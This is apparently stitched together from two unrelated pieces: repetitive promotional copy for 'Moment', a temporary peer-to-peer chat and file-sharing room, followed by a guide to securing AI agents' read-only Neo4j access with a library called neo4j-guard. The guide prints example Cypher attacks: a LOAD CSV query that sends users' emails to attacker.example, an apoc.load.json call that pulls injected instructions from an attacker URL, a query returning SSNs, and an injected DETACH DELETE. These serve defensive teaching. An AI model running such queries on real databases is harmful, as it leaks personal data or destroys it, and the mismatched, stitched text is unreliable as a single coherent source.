Upload it to Drive, then download it on the other machine. Drop it into Discord, then download it again somewhere else. None of this is hard. It is just a strange amount of infrastructure for a file that needs to move from one computer to another.

Moment is a private, temporary peer-to-peer chat room with file sharing built in. There is no login, and Moment never sees what you send. Messages and files travel peer-to-peer over WebRTC.

A Moment room can exist for that single transfer. One computer opens the room; the other opens the short link. The file then moves peer-to-peer between the devices, with no account sign-in or cloud folder created just to hold it for a few minutes.

The room also handles smaller things. A URL too long to type or a block of text sitting on the wrong machine can move through the same temporary connection. There is no need to turn either one into an email draft or a saved document first.

That short link becomes especially useful on unfamiliar computers. A transfer can happen without signing a personal account into someone else's machine. It also works when two people are already talking somewhere else and only the file needs a different route.

Discord is a good example. The conversation can stay exactly where it is. When an upload limit gets in the way, or when a file simply does not need to live in Discord's history, a Moment link can handle the transfer instead.

Try Moment at chat.zices.com.

Drop a PDF into Discord and it becomes a Discord upload. Put a document in Drive and it becomes something Google is being asked to store. The recipient might need it for a few minutes; the copy can remain long after the reason for sending it has disappeared. Chat history works much the same way. A passing conversation turns into an account record because permanence is the default.

That is useful when the record is useful. It makes less sense when the whole point is to share something and move on.

Moment is a private, temporary peer-to-peer chat room with file sharing built in. There is no login, and Moment never sees what you send. Messages and files travel peer-to-peer over WebRTC.

The room is intentionally temporary. A short link opens it, people exchange what they came to exchange, and once the room is gone there is no Moment inbox or file library waiting in the background.

The difference is where the data goes. A file is not parked on Moment's servers before the recipient can get it, and a message is not written into a Moment chat database for later. Messages and files move over the peer connection while the room exists.

That fits naturally into conversations already happening elsewhere. A Discord chat can stay on Discord until a private document or sensitive detail comes up. That part can move to a Moment room and disappear when it is over, without turning the rest of the conversation into a move to another app.

Try Moment at chat.zices.com.

What counts as read-only​

There are two common ways to give an agent read-only access. On Enterprise Edition and Aura, the agent connects as a database user whose role grants only read privileges, such as the built-in reader role, and Neo4j refuses any write from that user. Community Edition has no roles, so the usual option there is the read_only setting of the Neo4j MCP server. It removes the server's write tool and refuses queries that Neo4j classifies as writes.

What read-only protects​

Both stop queries that change the graph. Whatever query the agent writes, it cannot create nodes, update properties, or delete data. If an injected prompt tells the agent to run MATCH (n) DETACH DELETE n, the query fails and the graph is unchanged.

What read-only doesn't protect​

Read-only asks one question about a query: does it write? A query that only reads passes, whatever else it does. These three queries pass, and each one still causes harm.

MATCH (p:Person) RETURN p.name, p.ssn

This reads data the agent should not see. Read-only access controls what a query can change, not what it can read, so if the graph stores social security numbers, the agent can return them. Whatever a query returns goes into the agent's context, and from there to whoever is talking to the agent.

MATCH (u:User) LOAD CSV FROM 'https://attacker.example/?email=' + u.email AS row RETURN row

This sends data to another server. LOAD CSV is a read clause: it reads rows from a file or a URL. When the URL is built from graph data, the request itself carries the data out. This query sends one request per user, each with that user's email in it.

CALL apoc.load.json('https://attacker.example/prompt.json') YIELD value RETURN value

This brings instructions in. APOC procedures such as apoc.load.json also read URLs. The response comes back to the agent as query results, and the agent can follow instructions written in it. The database becomes the path for a prompt injection.

How to cover the gaps​

The check needs to look at what a query does, not only whether it writes. neo4j-guard parses each query before it is sent and allows only safe clauses, procedures, and functions. By default, it blocks everything else, including LOAD CSV and APOC. It has configurable allow and disallow lists that override the defaults.

The example below uses both. Install neo4j-guard:

pip install neo4j-guard

Then guard the driver the agent uses, and run the agent's queries through a function that sets a timeout:

from neo4j import GraphDatabase, Query
from neo4j_guard import GuardError, guard

driver = guard(
    GraphDatabase.driver("neo4j://localhost:7687", auth=("neo4j", "password")),
    disallow=["Person.ssn"],
)


def run_cypher(query: str) -> list[dict] | str:
    """Run a Cypher query with a 5-second timeout and return its records, or why it was blocked."""
    try:
        with driver.session() as session:
            return session.run(Query(query, timeout=5)).data()
    except GuardError as error:
        return f"Query blocked: {error}"

Install​

pip install neo4j-guard

Guard the driver​

from neo4j import GraphDatabase
from neo4j_guard import GuardError, guard

driver = guard(GraphDatabase.driver(URL, auth=AUTH))

try:
    driver.execute_query("CREATE (:Person {name: 'Ada'})")
except GuardError as error:
    print(error)  # CREATE is not allowed in read mode

Return blocked queries to the LLM​

Catch GuardError in the tool that runs the LLM's queries and return the message. The message says what was blocked and why, so the LLM can rewrite the query.

from neo4j import GraphDatabase
from neo4j_guard import GuardError, guard

driver = guard(GraphDatabase.driver("neo4j://localhost:7687", auth=("neo4j", "password")))


def run_cypher(query: str) -> list[dict] | str:
    """Run a Cypher query and return its records, or why it was blocked."""
    try:
        records, _, _ = driver.execute_query(query)
    except GuardError as error:
        return f"Query blocked: {error}"
    return [record.data() for record in records]


print(run_cypher("MATCH (p:Person) DETACH DELETE p"))  # Query blocked: DELETE is not allowed in read mode